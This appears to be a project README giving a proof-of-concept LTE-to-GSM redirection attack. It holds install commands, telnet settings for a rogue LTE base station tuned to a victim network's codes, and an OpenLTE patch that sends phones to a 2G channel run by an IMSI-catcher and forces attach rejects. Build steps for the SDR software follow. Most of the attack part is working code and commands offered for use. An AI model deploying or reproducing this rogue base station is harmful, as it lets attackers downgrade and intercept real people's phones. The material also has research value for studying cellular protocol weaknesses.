

Redirect 4G->2G

Install (Working on Ubuntu 20.04.4)

```
git clone https://github.com/bbaranoff/OpenLTE2GSM
cd OpenLTE2GSM
sudo bash install.sh
```

Running

LTE Redirection Attack

Redirect attack from long term evolution (LTE 4G) to global system mobile (GSM 2G): article in progress

Tested with : LimeSDR-Mini + 2 Motorola (C1XX series osmocom-bb compatibles) or BladeRF-xA4 + 2 Motorola or BladeRF-xA4 + LimeSDR-Mini

Phone in 2G/3G/4G mode This article is in progress and is just a PoC The attack step are run the IMSI-catcher into arfcn 514 follow (see Build IMSI-catcher) run the 4G redirector as follow

Shell #1

```
sudo LTE_fdd_enodeb
```

Shell #2

```
telnet localhost 30000
write rx_gain 30
write tx_gain 80
write mcc 215
write mnc 15
write band 7
write dl_arfcn 3350
write tracking_area_code 6604
```

(change with your ue values be careful that the earfcn is in the band you can have tracking_area_code via mobile testing mode *#0011# on samsung or *##4636##* on OnePlus for example)

Shell #2

start

wait... and when you have “ok” answer in shell #2 and ... enjoy !

Hacking 4G



Redirection patch code

```
--- openlte_v00-20-05/liblte/src/liblte_rrc.cc 2016-10-09 22:17:50.000000000 +0200
+++ openlte_v00-20-05/liblte/src/liblte_rrc.cc 2022-01-25 17:14:32.613323868 +0100
@@ -11698,13 +11698,28 @@
     liblte_value_2_bits(0, &msg_ptr, 2);

    // Optional indicators
-    liblte_value_2_bits(0, &msg_ptr, 1);
+    liblte_value_2_bits(1, &msg_ptr, 1);
+    liblte_value_2_bits(0, &msg_ptr, 1);
+    liblte_value_2_bits(0, &msg_ptr, 1);
+    liblte_value_2_bits(0, &msg_ptr, 1);

    // Release cause
    liblte_value_2_bits(con_release->release_cause, &msg_ptr, 2);

+// redirectedcarrierinfo
+// geran // choice
+liblte_value_2_bits(1, &msg_ptr, 4);
+// arfcn no.
+liblte_value_2_bits(514, &msg_ptr, 10);
+// dcs1800
+liblte_value_2_bits(0, &msg_ptr, 1);
+// Choice of following ARFCN
+liblte_value_2_bits(0, &msg_ptr, 2);
+// explicit list
+liblte_value_2_bits(1, &msg_ptr, 5);
+// arfcn no.
+liblte_value_2_bits(514, &msg_ptr, 10);
+// Note that total bits should be octet aligned,
+// if not, pad it with zeros.
+    // Fill in the number of bits used
+    msg->N_bits = msg_ptr - msg->msg;

--- openlte_v00-20-05/LTE_fdd_enodeb/hdr/LTE_fdd_enb_mme.h 2017-07-29 21:58:37.000000000 +0200
+++ openlte_v00-20-05/LTE_fdd_enodeb/hdr/LTE_fdd_enb_mme.h 2022-01-25 16:49:13.365515919 +0100
@@ -106,6 +106,7 @@
    // Message Parsers
    void parse_attach_complete(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user *user,
LTE_fdd_enb_rb *rb);
    void parse_attach_request(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user **user,
LTE_fdd_enb_rb **rb);
+    void send_tracking_area_update_request(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user
**user, LTE_fdd_enb_rb **rb);
    void parse_authentication_failure(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user *user,
LTE_fdd_enb_rb *rb);
    void parse_authentication_response(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user *user,
LTE_fdd_enb_rb *rb);
    void parse_detach_request(LIBLTE_BYTE_MSG_STRUCT *msg, LTE_fdd_enb_user *user,
LTE_fdd_enb_rb *rb);
@@ -125,6 +126,8 @@
    // Message Senders
    void send_attach_accept(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
    void send_attach_reject(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
+    void send_tracking_area_update_request(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
+    void send_tracking_area_update_reject(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
    void send_authentication_reject(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
    void send_authentication_request(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
    void send_detach_accept(LTE_fdd_enb_user *user, LTE_fdd_enb_rb *rb);
--- openlte_v00-20-05/LTE_fdd_enodeb/hdr/LTE_fdd_enb_rb.h 2017-07-29 22:03:51.000000000 +0200
+++ openlte_v00-20-05/LTE_fdd_enodeb/hdr/LTE_fdd_enb_rb.h 2022-01-25 16:49:13.365515919 +0100
@@ -99,18 +99,21 @@
```

```

typedef enum{
    LTE_FDD_ENB_MME_PROC_IDLE = 0,
    LTE_FDD_ENB_MME_PROC_ATTACH,
+   LTE_FDD_ENB_MME_PROC_TAU_REQUEST,
    LTE_FDD_ENB_MME_PROC_SERVICE_REQUEST,
    LTE_FDD_ENB_MME_PROC_DETACH,
    LTE_FDD_ENB_MME_PROC_N_ITEMS,
}LTE_FDD_ENB_MME_PROC_ENUM;
static const char LTE_fdd_enb_mme_proc_text[LTE_FDD_ENB_MME_PROC_N_ITEMS][100] = {"IDLE",
                                                                                      "ATTACH",
+
                                                                                      "TAU REQUEST",
                                                                                      "SERVICE
REQUEST",
                                                                                      "DETACH"};

typedef enum{
    LTE_FDD_ENB_MME_STATE_IDLE = 0,
    LTE_FDD_ENB_MME_STATE_ID_REQUEST_IMSI,
+LTE_FDD_ENB_MME_STATE_TAU_REJECT,
    LTE_FDD_ENB_MME_STATE_REJECT,
    LTE_FDD_ENB_MME_STATE_AUTHENTICATE,
    LTE_FDD_ENB_MME_STATE_AUTH_REJECTED,
                                                                                      "AUTH
REJECTED",
                                                                                      "ENABLE
SECURITY",
--- openlte_v00-20-05/LTE_fdd_enodeb/src/LTE_fdd_enb_mme.cc 2017-07-29 22:15:50.000000000 +0200
+++ openlte_v00-20-05/LTE_fdd_enodeb/src/LTE_fdd_enb_mme.cc 2022-01-25 17:07:55.380027792 +0100
@@ -204,6 +204,10 @@
    case LIBLTE_MME_MSG_TYPE_ATTACH_REQUEST:
        parse_attach_request(msg, &nas_msg->user, &nas_msg->rb);
        break;
+   case LTE_FDD_ENB_MME_PROC_TAU_REQUEST:
+       send_tracking_area_update_request(msg, &nas_msg->user, &nas_msg->rb);
+       break;
+
    case LIBLTE_MME_MSG_TYPE_AUTHENTICATION_FAILURE:
        parse_authentication_failure(msg, nas_msg->user, nas_msg->rb);
        break;
@@ -655,6 +659,16 @@
    }
}

+void LTE_fdd_enb_mme::send_tracking_area_update_request(LIBLTE_BYTE_MSG_STRUCT *msg,
+
+               LTE_fdd_enb_user      **user,
+               LTE_fdd_enb_rb        **rb)
+{
+    // Set the procedure
+
+(*rb) -> set_mme_procedure(LTE_FDD_ENB_MME_PROC_TAU_REQUEST);
+(*rb) -> set_mme_state(LTE_FDD_ENB_MME_STATE_TAU_REJECT);}
+
+void LTE_fdd_enb_mme::parse_authentication_failure(LIBLTE_BYTE_MSG_STRUCT *msg,
+
+               LTE_fdd_enb_user      *user,
+               LTE_fdd_enb_rb        *rb)
@@ -864,7 +878,7 @@
    rb->set_mme_state(LTE_FDD_ENB_MME_STATE_AUTHENTICATE);
    user->set_id(hss->get_user_id_from_imei(imei_num));
}
else{
-    user->set_emm_cause(LIBLTE_MME_EMM_CAUSE_UE_SECURITY_CAPABILITIES_MISMATCH);
+    user->
>set_emm_cause(LIBLTE_MME_EMM_CAUSE_UE_IDENTITY_CANNOT_BE_DERIVED_BY_THE_NETWORK);
    rb->set_mme_state(LTE_FDD_ENB_MME_STATE_REJECT);

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[illegible]

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{
@@ -1412,7 +1475,7 @@
    imsi_num = user->get_temp_id();
}

-   attach_rej.emm_cause          = user->get_emm_cause();
+   attach_rej.emm_cause          = 2;
   attach_rej.esm_msg_present     = false;
   attach_rej.t3446_value_present = false;
   liblte_mme_pack_attach_reject_msg(&attach_rej, &msg);

--- openlte_v00-20-05/LTE_fdd_enodeb/src/LTE_fdd_enb_radio.cc    2017-07-29 22:18:34.000000000
+0200
+++ openlte_v00-20-05/LTE_fdd_enodeb/src/LTE_fdd_enb_radio.cc    2022-01-25 17:09:37.116388236
+0100
@@ -229,7 +229,7 @@
    try
    {
        // Setup the USRP
-       if(devs[idx-1]["type"] == "x300")
+       if(devs[idx-1]["type"] == "soapy")
        {
            devs[idx-1]["master_clock_rate"] = "184320000";
            master_clock_set                 = true;
@@ -252,7 +252,6 @@
        usrp->set_rx_freq((double)liblte_interface_ul_earfcn_to_frequency(ul_earfcn));
        usrp->set_tx_gain(tx_gain);
        usrp->set_rx_gain(rx_gain);
-
        // Setup the TX and RX streams
        tx_stream = usrp->get_tx_stream(stream_args);
        rx_stream = usrp->get_rx_stream(stream_args);
@@ -822,7 +821,7 @@
        buffer_size = 1024;
    }
    status = bladerf_sync_config(bladerf,
-                                BLADERF_MODULE_TX,
+                                BLADERF_TX_X1,
+                                BLADERF_FORMAT_SC16_Q11_META,
+                                BLADERF_NUM_BUFFERS,
+                                buffer_size,
@@ -842,7 +841,7 @@
        // Setup sync RX
        status = bladerf_sync_config(bladerf,
-                                    BLADERF_MODULE_RX,
+                                    BLADERF_RX_X1,
+                                    BLADERF_FORMAT_SC16_Q11_META,
+                                    BLADERF_NUM_BUFFERS,
+                                    buffer_size,
@@ -974,7 +973,7 @@
        if(radio_params->init_needed)
        {
            // Assume RX_timestamp and TX_timestamp difference is 0
-            bladerf_get_timestamp(bladerf, BLADERF_MODULE_RX, (uint64_t*)&rx_ts);
+            bladerf_get_timestamp(bladerf, BLADERF_RX, (uint64_t*)&rx_ts);
            next_tx_ts = rx_ts + radio_params->samp_rate; // 1 second to make sure
            everything is setup
            metadata_rx.flags = 0;
            metadata_rx.timestamp = next_tx_ts - (radio_params->N_samps_per_subfr*2); // Retard RX
            by 2 subframes

```

Install from scratch

```
apt install build-essential libgmp-dev libx11-6 libx11-dev flex libncurses5 libncurses5-dev
libncursesw6 libpcsc-lite-dev zlib1g-dev libmpfr6 libmpc3 lemon aptitude libtinfo-dev libtool
sh-tool autoconf git-core pkg-config make libmpfr-dev libmpc-dev libtalloc-dev libfftw3-dev
libgnutls28-dev libssl1.0-dev libtool-bin libxml2-dev sofia-sip-bin libsofia-sip-ua-dev sofia-
sip-bin libncursesw5-dev bison libgmp3-dev alsa-oss asn1c libdbd-sqlite3 libboost-all-dev
libusb-1.0-0-dev python-mako python3-mako doxygen python-docutils cmake build-essential g++
libpython-dev python-numpy python3-numpy swig libsqlite3-dev libi2c-dev libwxgtk3.0-gtk3-dev
freeglut3-dev composer phpunit python3-pip python-pip

pip install requests
pip3 install requests
```

Clone or download the necessary repositories :

```
#!/bin/bash
git clone https://github.com/ettusresearch/uhd #tested with checkout dbaf4132f
git clone https://github.com/pothosware/SoapySDR #tested with checkout 67abec9
git clone https://github.com/nuand/BladeRF  #(necessary even if you don't have a blade) tested
with checkout f03d8433
git clone https://github.com/pothosware/SoapyBladeRF  #(only if you have a BladeRF) tested with
checkout 1c1e8aa
git clone https://github.com/pothosware/SoapyUHD #tested with checkout 7371e68
git clone https://github.com/myriadrf/LimeSuite #only if you have a LimeSDR) tested with
checkout a5b3a10f
git clone https://github.com/gnuradio/gnuradio #tested with checkout 8e2808513
git clone https://github.com/osmocom/gr-osmosdr #tested with checkout 4d83c60
wget https://tls.mbed.org/download/polarssl-1.3.7-gpl.tgz && tar zxvf polarssl-1.3.7-gpl.tgz
git clone https://git.code.sf.net/p/openlte/code openlte
cd openlte
git checkout a5a66ed
git clone https://github.com/bbaranoff/openlte_redirection_patch patch_redir
cp patch_redir/test.patch .
patch -p0 < test.patch
```

Compilation (same order for the compilation than from the git clone(s) or download) cd
dir_to_compile (git submodule init && git submodule update) -> only for gnuradio (cd host) ->
only for uhd

```
mkdir build
cd build
cmake ..
make -j$nproc
make install
ldconfig
```